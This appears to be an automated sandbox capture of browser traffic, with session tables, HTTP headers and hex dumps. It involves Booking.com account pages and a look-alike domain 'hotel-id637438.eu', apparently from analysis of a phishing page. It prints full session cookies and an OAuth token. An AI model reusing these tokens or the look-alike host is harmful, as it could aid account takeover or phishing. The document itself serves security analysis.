b){e.style.fontFamily=r+","+b[m];f.appendChild(e);var y=e.offsetWidth!==n[b[m]]\|\|e.offs
2024-07-08 22:43:44 UTC	7655	IN	Data Raw: 0a 62 5b 32 5d 3c 3c 31 36 7c 62 5b 33 5d 5d 7d 2c 78 36 34 52 6f 74 6c 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 63 25 3d 36 34 3b 69 66 28 33 32 3d 3d 3d 63 29 72 65 74 75 72 6e 5b 61 5b 31 5d 2c 61 5b 30 5d 5d 3b 69 66 28 33 32 3e 63 29 72 65 74 75 72 6e 5b 61 5b 30 5d 3c 3c 63 7c 61 5b 31 5d 3e 3e 3e 33 32 2d 63 2c 61 5b 31 5d 3c 3c 63 7c 61 5b 30 5d 3e 3e 3e 33 32 2d 63 5d 3b 63 2d 3d 33 32 3b 72 65 74 75 72 6e 5b 61 5b 31 5d 3c 3c 63 7c 61 5b 30 5d 3e 3e 3e 33 32 2d 63 2c 61 5b 30 5d 3c 3c 63 7c 61 5b 31 5d 3e 3e 3e 33 32 2d 63 5d 7d 2c 78 36 34 4c 65 66 74 53 68 69 66 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 63 25 3d 36 34 3b 72 65 74 75 72 6e 20 30 3d 3d 3d 63 3f 61 3a 33 32 3e 63 3f 5b 61 5b 30 5d 3c 3c 63 7c 61 5b 31 5d 3e 3e 3e 33 32 Data Ascii: b[2]<<16\|b[3]]},x64Rotl:function(a,c){c%=64;if(32===c)return[a[1],a[0]];if(32>c)return[a[0]<<c\|a[1]>>>32-c,a[1]<<c\|a[0]>>>32-c];c-=32;return[a[1]<<c\|a[0]>>>32-c,a[0]<<c\|a[1]>>>32-c]},x64LeftShift:function(a,c){c%=64;return 0===c?a:32>c?[a[0]<<c\|a[1]>>>32

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49878	13.226.34.41	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:44 UTC	1111	OUT	GET /_/fvtrpw.gif HTTP/1.1 Host: account.booking.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bkng_sso_auth=CAIQsOnuTRpmaou+GEKeulaBbe/D0RNKi0n1KM9uEq17CoZ9ceIKbGu/yAcBi15SiUijsLL7hKBbdn2ziy9rleT/h/+mYqJx9Ltvzo4bCiS9vD0LPjuOlYCJGG9yEJ4LEajGRIlOfN54d2s0MMke; pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D91c4cf11-d893-45ba-a7de-4fecf555ad97%26consentedAt%3D2024-07-08T22%3A43%3A33.173Z%26expiresAt%3D2025-01-04T22%3A43%3A33.173Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DNY%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_ap_sso_session=eyJib29raW5nX2dsb2JhbCI6eyJkYXRhX3N1YmplY3RfaWQiOiI1OTZlZjgzNS0xNDRlLTQyYTMtOTU1MC0xYWJjODA4ZWMxY2UiLCJzZXNzaW9ucyI6W119fQ; bkng_ap=U2FsdGVkX1%2FJSLHdauHWNfvx0ycMjovAflQYY4eoyEI8LwxhcJR8vF5sHYdhvRCgHxJJfePhnVRd%0A1d2p9YJRxw%3D%3D%0A; bkng_sso_session=e30; bkng_sso_ses=e30
2024-07-08 22:43:44 UTC	2745	IN	HTTP/1.1 200 OK Content-Type: image/gif Transfer-Encoding: chunked Connection: close server: envoy date: Mon, 08 Jul 2024 22:43:44 GMT content-disposition: attachment; filename=etnht.gif set-cookie: bkng_ap_sso_session=eyJib29raW5nX2dsb2JhbCI6eyJkYXRhX3N1YmplY3RfaWQiOiI1OTZlZjgzNS0xNDRlLTQyYTMtOTU1MC0xYWJjODA4ZWMxY2UiLCJzZXNzaW9ucyI6W119fQ; domain=account.booking.com; path=/; expires=Sat, 07-Jul-2029 22:43:44 GMT; SameSite=Lax; secure; HttpOnly set-cookie: bkng_sso_ses=e30; domain=.booking.com; path=/; expires=Sat, 07-Jul-2029 22:43:44 GMT; secure; HttpOnly set-cookie: bkng_ap=U2FsdGVkX1%2BBqYdkDIAvnZxknt0zd2qH2KUWABhj2ImSgXgxtEmXjaQxrmNEgpFsU91irFLBctih%0AxRSbYcSt6Q%3D%3D%0A; domain=account.booking.com; path=/; secure; HttpOnly set-cookie: bkng_sso_session=e30; domain=.booking.com; path=/; expires=Sat, 07-Jul-2029 22:43:44 GMT; secure; HttpOnly content-security-policy: frame-ancestors https://.booking.com 'self'; report-uri https://nellie.booking.com/csp-report-uri?type=block&tag=212&pid=7bc89fd0b07a0010&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgRvqAg3-UlCb1qLTaSWs19Zhmbk-rLLTgUBR7kohekGJCZt3mY3DRv4 content-security-policy-report-only: base-uri 'none'; connect-src saa.booking.com secure.booking.com reports.booking.com privacyportal-eu.onetrust.com geolocation.onetrust.com cdn.cookielaw.org www.google-analytics.com .perimeterx.net .pxchk.net .px-cdn.net .px-client.net .px-cloud.net 'self' 'report-sample'; default-src .bstatic.com bstatic.com 'self'; frame-src https://www.youtube.com/embed/Vv4w5SmRkss .bstatic.com https://www.google.com bstatic.com www.booking.com secure.booking.com paymentcomponent.booking.com 'self'; img-src 'self' data: www.booking.com graph.facebook.com cdn.cookielaw.org account.booking.com .bstatic.com bstatic.com .static.booking.cn www.google-analytics.com www.google.com stats.g.doubleclick.net .px-cloud.net .perimeterx.net www.gstatic.com; object-src 'none'; report-uri https://nellie.booking.com/csp-report-uri?type=report&tag=213&pid=7bc89fd0b07a0010&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgRvqAg3-UlCb1qLTaSWs19Zhmbk-rLLTgUBR7kohekGJCZt3mY3DRv4; script-src s [TRUNCATED] x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 94344436af750794f6bc9899d89d3a0a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: EWR53-C2 X-Amz-Cf-Id: 5ayzsxvi8WY5SZfDhRoBDLhuGbi192g6OWe9D2TXJMcZhodKUeY8pA==
2024-07-08 22:43:44 UTC	41	IN	Data Raw: 32 33 0d 0a 47 49 46 38 39 61 01 00 01 00 90 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 04 01 00 3b 0d 0a Data Ascii: 23GIF89a,;
2024-07-08 22:43:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49879	104.21.44.120	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:44 UTC	1028	OUT	GET /check-online HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pxcts=83ca0815-3d7b-11ef-ac31-1e6eccf31c73; _pxvid=83c9fb64-3d7b-11ef-ac31-449374cdc830; _pxff_fp=1; _pxff_cfp=1; _pxff_ddtc=1; _px3=b7421703164579de4a4cf0a7072cb13f045b2d4fd01257c74daec6d11f28f46f:si4damcdUrwOhs+ZcUXpZIMZTx4uQn2Z8RRBbRnxsR5z3MvHNTNjyBFggqJMTbLaOhDccQsjMXoNtpAVA4eHBQ==:1000:Lu0vJdmiWKEyfMVUelhhBa6pYDhpjgDkU0DGY5FfJE9D4kJxAGs/RrJ58EPOenbTQc7LiHw4bp3xtF9oYc501SsHMpyMkrTc4A3blidKeQ2GZZLMu4m3jerMC+XoZvwqD1ctqQv28HiHe2Cwk3q/t1FHV7poLFvMtG6J+qjwqFxdrJaiGuEQHQ5bwNOeXlArYT5iWVsgbexy18MhN8bSH2RF6NRPrQO9+vyPIRdTB28=; _pxde=9788bce90f4079379a0ce3bd27ecbc11de473b30d95d9c5cb62d93bc6a28ab3f:eyJ0aW1lc3RhbXAiOjE3MjA0Nzg2MTkxNzUsImZfa2IiOjAsImlwY19pZCI6W119
2024-07-08 22:43:44 UTC	565	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:44 GMT Content-Type: application/json Content-Length: 4 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YwLn9TteOXzLh%2BqRUngbMvDo3kuq43AYtt3%2BtnYDTALNGZU2zgTNMFUj4p9MQmXJ5E%2BOsixd978ni2Um5%2FFcENqQHRXsPYXCs5qgCmPPGOLBalCNaAAYHXneKc9JZiKpZWzldA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a03984bfae11839-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:44 UTC	4	IN	Data Raw: 6e 75 6c 6c Data Ascii: null

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49880	104.19.177.52	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:44 UTC	548	OUT	GET /scripttemplates/otSDKStub.js HTTP/1.1 Host: cdn.cookielaw.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:44 UTC	859	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:44 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-MD5: ceCldLDyZN6bSQL6yyKLMg== Last-Modified: Wed, 03 Jul 2024 16:07:22 GMT x-ms-request-id: 0e1d26ea-301e-0069-5679-cdcc26000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * CF-Cache-Status: HIT Age: 5 Expires: Tue, 09 Jul 2024 22:43:44 GMT Cache-Control: public, max-age=86400 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8a03984c3f888cc3-EWR
2024-07-08 22:43:44 UTC	510	IN	Data Raw: 35 32 65 65 0d 0a 76 61 72 20 4f 6e 65 54 72 75 73 74 53 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 2c 6f 2c 70 3d 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 3d 22 4f 70 74 61 6e 6f 6e 43 6f 6e 73 65 6e 74 22 2c 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 48 74 6d 6c 47 72 6f 75 70 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 48 6f 73 74 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 67 65 6e 56 65 6e 64 6f 72 73 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 76 65 6e 64 6f 72 73 53 65 72 76 69 63 65 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 49 41 42 43 6f 6f 6b 69 65 56 61 6c 75 65 3d 22 22 2c 74 68 69 73 2e 6f 6e 65 54 72 75 73 74 49 41 42 Data Ascii: 52eevar OneTrustStub=function(t){"use strict";var a,o,p=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtmlGroupData=[],this.optanonHostData=[],this.genVendorsData=[],this.vendorsServiceData=[],this.IABCookieValue="",this.oneTrustIAB
2024-07-08 22:43:44 UTC	1369	IN	Data Raw: 54 22 2c 22 50 4c 22 2c 22 50 54 22 2c 22 52 4f 22 2c 22 53 49 22 2c 22 53 4b 22 2c 22 46 49 22 2c 22 53 45 22 2c 22 47 42 22 2c 22 48 52 22 2c 22 4c 49 22 2c 22 4e 4f 22 2c 22 49 53 22 5d 2c 74 68 69 73 2e 73 74 75 62 46 69 6c 65 4e 61 6d 65 3d 22 6f 74 53 44 4b 53 74 75 62 22 2c 74 68 69 73 2e 44 41 54 41 46 49 4c 45 41 54 54 52 49 42 55 54 45 3d 22 64 61 74 61 2d 64 6f 6d 61 69 6e 2d 73 63 72 69 70 74 22 2c 74 68 69 73 2e 62 61 6e 6e 65 72 53 63 72 69 70 74 4e 61 6d 65 3d 22 6f 74 42 61 6e 6e 65 72 53 64 6b 2e 6a 73 22 2c 74 68 69 73 2e 6d 6f 62 69 6c 65 4f 6e 6c 69 6e 65 55 52 4c 3d 5b 5d 2c 74 68 69 73 2e 69 73 4d 69 67 72 61 74 65 64 55 52 4c 3d 21 31 2c 74 68 69 73 2e 6d 69 67 72 61 74 65 64 43 43 54 49 44 3d 22 5b 5b 4f 6c 64 43 43 54 49 44 5d 5d Data Ascii: T","PL","PT","RO","SI","SK","FI","SE","GB","HR","LI","NO","IS"],this.stubFileName="otSDKStub",this.DATAFILEATTRIBUTE="data-domain-script",this.bannerScriptName="otBannerSdk.js",this.mobileOnlineURL=[],this.isMigratedURL=!1,this.migratedCCTID="[[OldCCTID]]
2024-07-08 22:43:44 UTC	1369	IN	Data Raw: 28 21 28 61 3d 69 5b 6e 5d 2e 73 70 6c 69 74 28 2f 3a 28 2e 2b 29 2f 29 29 5b 31 5d 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 65 5b 74 68 69 73 2e 63 61 6d 65 6c 69 7a 65 28 61 5b 30 5d 29 5d 3d 61 5b 31 5d 2e 74 72 69 6d 28 29 7d 72 65 74 75 72 6e 20 65 7d 2c 65 29 3b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 69 6d 70 6c 65 6d 65 6e 74 54 68 65 50 6f 6c 79 66 69 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 2c 6f 3d 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 3b 72 65 74 75 72 6e 20 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 22 73 74 79 6c 65 22 21 3d Data Ascii: (!(a=i[n].split(/:(.+)/))[1])return null;e[this.camelize(a[0])]=a[1].trim()}return e},e);function e(){var t=this;this.implementThePolyfill=function(){var a=t,o=Element.prototype.setAttribute;return Element.prototype.setAttribute=function(t,e){if("style"!=
2024-07-08 22:43:44 UTC	1369	IN	Data Raw: 65 72 2c 21 31 29 2c 73 2e 61 64 64 46 72 61 6d 65 28 73 2e 4c 4f 43 41 54 4f 52 5f 4e 41 4d 45 29 29 7d 2c 74 68 69 73 2e 72 65 6d 6f 76 65 47 70 70 41 70 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 64 65 6c 65 74 65 20 73 2e 77 69 6e 2e 5f 5f 67 70 70 3b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 69 66 72 61 6d 65 5b 6e 61 6d 65 3d 22 2b 73 2e 4c 4f 43 41 54 4f 52 5f 4e 41 4d 45 2b 22 5d 22 29 5b 30 5d 3b 74 26 26 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 7d 2c 74 68 69 73 2e 65 78 65 63 75 74 65 47 70 70 41 70 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 65 3d 30 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b Data Ascii: er,!1),s.addFrame(s.LOCATOR_NAME))},this.removeGppApi=function(){delete s.win.__gpp;var t=document.querySelectorAll("iframe[name="+s.LOCATOR_NAME+"]")[0];t&&t.parentElement.removeChild(t)},this.executeGppApi=function(){for(var t=[],e=0;e<arguments.length;
2024-07-08 22:43:44 UTC	1369	IN	Data Raw: 74 28 22 69 66 72 61 6d 65 22 29 29 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 2c 65 2e 6e 61 6d 65 3d 74 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 69 74 6c 65 22 2c 22 47 50 50 20 4c 6f 63 61 74 6f 72 22 29 2c 69 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 73 2e 61 64 64 46 72 61 6d 65 28 74 29 7d 2c 35 29 29 2c 21 6e 7d 2c 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 69 2c 6e 3d 73 2e 77 69 6e 2e 5f 5f 67 70 70 3b 72 65 74 75 72 6e 20 6e 2e 65 76 65 6e 74 73 3d 6e 2e 65 76 65 6e 74 73 7c 7c 5b 5d 2c 6e 75 6c 6c 21 3d 28 69 3d 6e 29 26 26 Data Ascii: t("iframe")).style.cssText="display:none",e.name=t,e.setAttribute("title","GPP Locator"),i.body.appendChild(e)):setTimeout(function(){s.addFrame(t)},5)),!n},this.addEventListener=function(t,e){var i,n=s.win.__gpp;return n.events=n.events\|\|[],null!=(i=n)&&
2024-07-08 22:43:44 UTC	1369	IN	Data Raw: 2c 74 68 69 73 2e 63 61 70 74 75 72 65 4e 6f 6e 63 65 28 29 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 63 61 70 74 75 72 65 4e 6f 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6e 6f 6e 63 65 3d 70 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 6e 6f 6e 63 65 7c 7c 70 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 6f 6e 63 65 22 29 7c 7c 6e 75 6c 6c 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 66 65 74 63 68 42 61 6e 6e 65 72 53 44 4b 44 65 70 65 6e 64 65 6e 63 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 73 65 74 44 6f 6d 61 69 6e 44 61 74 61 46 69 6c 65 55 52 4c 28 29 2c 74 68 69 73 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 70 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 Data Ascii: ,this.captureNonce()},h.prototype.captureNonce=function(){this.nonce=p.stubScriptElement.nonce\|\|p.stubScriptElement.getAttribute("nonce")\|\|null},h.prototype.fetchBannerSDKDependency=function(){this.setDomainDataFileURL(),this.crossOrigin=p.stubScriptEleme
2024-07-08 22:43:44 UTC	1369	IN	Data Raw: 6f 63 61 74 69 6f 6e 52 65 73 70 6f 6e 73 65 3f 28 69 3d 69 2e 4f 6e 65 54 72 75 73 74 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 52 65 73 70 6f 6e 73 65 2c 74 68 69 73 2e 73 65 74 47 65 6f 4c 6f 63 61 74 69 6f 6e 28 69 2e 63 6f 75 6e 74 72 79 43 6f 64 65 2c 69 2e 73 74 61 74 65 43 6f 64 65 29 2c 74 68 69 73 2e 61 64 64 42 61 6e 6e 65 72 53 44 4b 53 63 72 69 70 74 28 74 29 29 3a 28 69 3d 74 68 69 73 2e 72 65 61 64 43 6f 6f 6b 69 65 50 61 72 61 6d 28 70 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 2c 70 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 43 6f 6f 6b 69 65 73 50 61 72 61 6d 29 29 7c 7c 74 2e 53 6b 69 70 47 65 6f 6c 6f 63 61 74 69 6f 6e 3f 28 65 3d 69 2e 73 70 6c 69 74 28 22 3b 22 29 5b 30 5d 2c 69 3d 69 2e 73 70 6c 69 74 28 22 3b 22 29 5b 31 5d 2c 74 68 Data Ascii: ocationResponse?(i=i.OneTrust.geolocationResponse,this.setGeoLocation(i.countryCode,i.stateCode),this.addBannerSDKScript(t)):(i=this.readCookieParam(p.optanonCookieName,p.geolocationCookiesParam))\|\|t.SkipGeolocation?(e=i.split(";")[0],i=i.split(";")[1],th
2024-07-08 22:43:44 UTC	1369	IN	Data Raw: 65 72 22 7d 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 47 65 6f 4c 6f 63 61 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 70 2e 75 73 65 72 4c 6f 63 61 74 69 6f 6e 3d 7b 63 6f 75 6e 74 72 79 3a 74 2c 73 74 61 74 65 3a 65 3d 76 6f 69 64 20 30 3d 3d 3d 65 3f 22 22 3a 65 7d 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 74 46 65 74 63 68 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 65 2c 6e 2c 61 29 7b 76 6f 69 64 20 30 3d 3d 3d 65 26 26 28 65 3d 21 31 29 2c 76 6f 69 64 20 30 3d 3d 3d 6e 26 26 28 6e 3d 6e 75 6c 6c 29 3b 76 61 72 20 6f 3d 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 26 26 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 6f 74 50 72 65 76 69 65 77 44 61 74 61 22 29 3b Data Ascii: er"}},h.prototype.setGeoLocation=function(t,e){p.userLocation={country:t,state:e=void 0===e?"":e}},h.prototype.otFetch=function(t,i,e,n,a){void 0===e&&(e=!1),void 0===n&&(n=null);var o=window.sessionStorage&&window.sessionStorage.getItem("otPreviewData");
2024-07-08 22:43:44 UTC	1369	IN	Data Raw: 67 69 6f 6e 53 65 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 69 2c 6e 2c 61 3d 70 2e 75 73 65 72 4c 6f 63 61 74 69 6f 6e 2c 6f 3d 74 2e 52 75 6c 65 53 65 74 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 74 2e 44 65 66 61 75 6c 74 7d 29 3b 69 66 28 21 61 2e 63 6f 75 6e 74 72 79 26 26 21 61 2e 73 74 61 74 65 29 72 65 74 75 72 6e 20 6f 26 26 30 3c 6f 2e 6c 65 6e 67 74 68 3f 6f 5b 30 5d 3a 6e 75 6c 6c 3b 66 6f 72 28 76 61 72 20 73 3d 61 2e 73 74 61 74 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 72 3d 61 2e 63 6f 75 6e 74 72 79 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 75 3d 30 3b 75 3c 74 2e 52 75 6c 65 53 65 74 2e 6c 65 6e 67 74 68 3b 75 2b 2b 29 69 66 28 21 30 3d 3d 3d 74 2e 52 75 6c 65 Data Ascii: gionSet=function(t){var e,i,n,a=p.userLocation,o=t.RuleSet.filter(function(t){return!0===t.Default});if(!a.country&&!a.state)return o&&0<o.length?o[0]:null;for(var s=a.state.toLowerCase(),r=a.country.toLowerCase(),u=0;u<t.RuleSet.length;u++)if(!0===t.Rule
2024-07-08 22:43:44 UTC	1369	IN	Data Raw: 61 73 49 41 42 47 6c 6f 62 61 6c 53 63 6f 70 65 3d 21 31 2c 70 2e 49 41 42 43 6f 6f 6b 69 65 56 61 6c 75 65 3d 74 68 69 73 2e 67 65 74 43 6f 6f 6b 69 65 28 70 2e 6f 6e 65 54 72 75 73 74 49 41 42 43 6f 6f 6b 69 65 4e 61 6d 65 29 29 3a 70 2e 69 73 53 74 75 62 52 65 61 64 79 3d 21 31 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 69 64 61 74 65 49 41 42 47 44 50 52 41 70 70 6c 69 65 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 72 65 61 64 43 6f 6f 6b 69 65 50 61 72 61 6d 28 70 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 2c 70 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 43 6f 6f 6b 69 65 73 50 61 72 61 6d 29 2e 73 70 6c 69 74 28 22 3b 22 29 5b 30 5d 3b 74 3f 74 68 69 73 2e 69 73 42 6f 6f 6c 65 61 6e 28 74 29 3f 70 2e 6f 6e 65 Data Ascii: asIABGlobalScope=!1,p.IABCookieValue=this.getCookie(p.oneTrustIABCookieName)):p.isStubReady=!1},h.prototype.validateIABGDPRApplied=function(){var t=this.readCookieParam(p.optanonCookieName,p.geolocationCookiesParam).split(";")[0];t?this.isBoolean(t)?p.one

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49882	13.226.34.41	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:45 UTC	1252	OUT	GET /js-metric?op_token=EgVvYXV0aCJHChQ2Wjcyb0hPZDM2Tm43emszcGlyaBIJYXV0aG9yaXplGhpodHRwczovL2FkbWluLmJvb2tpbmcuY29tLyoCe31CBGNvZGUqEjDd3bSSuf4mOgBCAFjA2M2xBg HTTP/1.1 Host: account.booking.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bkng_sso_auth=CAIQsOnuTRpmaou+GEKeulaBbe/D0RNKi0n1KM9uEq17CoZ9ceIKbGu/yAcBi15SiUijsLL7hKBbdn2ziy9rleT/h/+mYqJx9Ltvzo4bCiS9vD0LPjuOlYCJGG9yEJ4LEajGRIlOfN54d2s0MMke; pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D91c4cf11-d893-45ba-a7de-4fecf555ad97%26consentedAt%3D2024-07-08T22%3A43%3A33.173Z%26expiresAt%3D2025-01-04T22%3A43%3A33.173Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DNY%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_ap_sso_session=eyJib29raW5nX2dsb2JhbCI6eyJkYXRhX3N1YmplY3RfaWQiOiI1OTZlZjgzNS0xNDRlLTQyYTMtOTU1MC0xYWJjODA4ZWMxY2UiLCJzZXNzaW9ucyI6W119fQ; bkng_ap=U2FsdGVkX1%2FJSLHdauHWNfvx0ycMjovAflQYY4eoyEI8LwxhcJR8vF5sHYdhvRCgHxJJfePhnVRd%0A1d2p9YJRxw%3D%3D%0A; bkng_sso_session=e30; bkng_sso_ses=e30
2024-07-08 22:43:45 UTC	2040	IN	HTTP/1.1 405 Method Not Allowed Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close server: envoy date: Mon, 08 Jul 2024 22:43:45 GMT allow: POST content-security-policy: frame-ancestors https://.booking.com 'self'; report-uri https://nellie.booking.com/csp-report-uri?type=block&tag=212&pid=44089fd02fd30114&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgcqlyvtE53jUBl9Jefb7ZmuX1TKeE1yah1a1W_o7x01p content-security-policy-report-only: base-uri 'none'; connect-src saa.booking.com secure.booking.com reports.booking.com privacyportal-eu.onetrust.com geolocation.onetrust.com cdn.cookielaw.org www.google-analytics.com .perimeterx.net .pxchk.net .px-cdn.net .px-client.net .px-cloud.net 'self' 'report-sample'; default-src .bstatic.com bstatic.com 'self'; frame-src https://www.youtube.com/embed/Vv4w5SmRkss .bstatic.com https://www.google.com bstatic.com www.booking.com 